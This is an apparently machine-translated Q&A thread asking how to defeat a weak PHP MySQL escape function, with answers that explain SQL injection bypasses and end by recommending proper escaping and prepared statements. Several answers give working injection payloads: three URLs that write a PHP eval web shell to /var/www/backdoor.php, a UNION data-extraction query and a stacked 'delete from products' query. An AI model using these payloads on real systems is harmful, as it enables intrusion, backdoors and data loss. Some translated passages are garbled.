代码之家  ›  专栏  ›  技术社区  ›  Evert

找到了一个很弱的MySQL转义函数,如何利用?

  •  21
  • Evert  · 技术社区  · 15 年前

    在我正在研究的一个应用程序中,我发现了一个防止注入的弱逸出函数。我试图证明这一点,但我很难想出一个简单的例子。

    escape函数的工作原理如下(PHP示例)。

    function escape($value) {
    
      $value = str_replace("'","''",$value);
      $value = str_replace("\\","\\\\",$value);
      return $value;
    
    }
    

    我认识到这不处理使用双引号(“)编码的值,但所有查询都是使用单引号(“)构造的。

    谁能击败这个越狱功能?

    要求:

    • 查询中的字符串总是用引号括起来。
    • 从不使用双引号。
    • mysql连接设置为utf8。

    简单示例:

    $sql = "SELECT id FROM users WHERE username = '" . escape($username) . "' AND password = '" . escape($password) . "'";
    $sql = "UPDATE users SET email = '" . escape($email) . "' WHERE id = '" . escape($id) . "'";
    
    7 回复  |  直到 15 年前
        1
  •  11
  •   rook    15 年前

    如果你是 只是 替代 ' 具有 '' 然后你可以通过注入 \' 会变成一个 \'' 这将允许你突破,因为这给了你一个“字符文字”单引号和一个真正的单引号。但是,替换 "\\" 具有 "\\\\" 否定这次攻击。双单引号用于“转义”MS-SQL的单引号,但这不适用于MySQL,但它可以工作。

    以下代码 证明 这个逃逸功能对所有人都是安全的,除了 三个条件 . 此代码会对控制图表的所有可能变体进行排列,并测试每个变体,以确保单引号封装的select语句不会出现错误。这段代码是在MySQL5.1.41上测试的。

    <?php
    mysql_connect("localhost",'root','');
    function escape($value) {
    
      $value = str_replace("'","''",$value);
      $value = str_replace("\\","\\\\",$value);
      return $value;
    
    }
    
    $chars=array("'","\\","\0","a");
    
    for($w=0;$w<4;$w++){
        for($x=0;$x<4;$x++){
            for($y=0;$y<4;$y++){
                for($z=0;$z<4;$z++){
                    mysql_query("select '".escape($chars[$w].$chars[$x].$chars[$y].$chars[$z])."'") or die("!!!! $w $x $y $z ".mysql_error());
                }       
            }
        }
    }
    print "Escape function is safe :(";
    ?>
    

    脆弱条件1:未使用引号。

    mysql_query("select username from users where id=".escape($_GET['id']));
    

    开拓:

    http://localhost/sqli_test.php?id=union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php"
    

    脆弱条件2:使用双引号

    mysql_query("select username from users where id=\"".escape($_GET['id'])."\"");
    

    开拓:

    http://localhost/sqli_test.php?id=" union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1
    

    脆弱条件2:使用单引号,但是 alternative character set is used. .

    mysql_set_charset("GBK")
    mysql_query("select username from users where id='".escape($_GET['id'])."'");
    

    开拓:

    http://localhost/sqli_test.php?id=%bf%27 union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1
    

    结论是总是使用 mysql_real_escape_string() 作为mysql的转义程序。参数化查询库(如pdo和adodb)始终使用 mysql_real_escape_string()。 当连接到MySQL数据库时。 addslashes() 好得多 因为它能处理脆弱的情况2。值得注意的是 mysql_real_escape_string()。 将停止条件1,但参数化查询库将停止。

        2
  •  3
  •   Sebs    15 年前

    实际上,此外,您还可以使用union select尝试一些方法

    PHP?产品=322

    = & gt;

    PHP?productID=322 union从用户中选择1、2、3,其中1;。--

    显示其他表中的信息。

    当然,您必须更改union select中的表名和数字,以匹配您拥有的列的数量。这是一种常用的提取数据的方法,如管理用户名和密码。

        3
  •  3
  •   Frank Heikens    15 年前

    转义函数不处理多字节字符。检查 http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string 看看如何利用这个转义函数。

    祝你的数据库黑客活动愉快!

        4
  •  1
  •   Kieren Johnstone    15 年前

    在处理数字时如何?

    shop.php?productid=322 
    

    变成

    SELECT * FROM [Products] WHERE productid=322


    shop.php?productid=322; delete from products;--
    

    变成

    SELECT * FROM [Products] WHERE productid=322; delete from products;--

    (并非所有查询都用单引号和字符串生成)

        5
  •  1
  •   Bob    15 年前

    由于您使用的是UTF-8编码,这可能会受到过长的UTF-8序列的攻击。撇号字符(“)虽然通常编码为0x27,但可以编码为超长序列0xc0 0xa7(URL编码:%c0%a7)。转义函数会忽略这一点,但MySQL可能会以导致SQL注入的方式解释它。

    正如其他人提到的,你真的需要 mysql_real_escape_string 至少(在您的情况下很容易修复),它应该为您处理字符编码和其他问题。最好使用准备好的语句。

        6
  •  0
  •   Zesty    15 年前

    但是,我从未使用过PHP,您不能使用存储过程调用而不是直接的SQL语句吗?与尝试使用转义函数相比,它似乎是更好的SQL注入防御措施。

    不过,转义函数对恶意的javascript很有用。

        7
  •  0
  •   Basic    15 年前

    怎么样。。。

    \' or 1=1--
    

    应该扩展到:

    \'' or 1=1--
    

    所以在下面的查询中使用它作为ID…

    $sql = "UPDATE users SET email = '" . escape($email) . "' WHERE id = '" . escape($id) . "'";
    

    应导致:

    $sql = "UPDATE users SET email = '<whatever>' WHERE id = '\'' or 1=1--';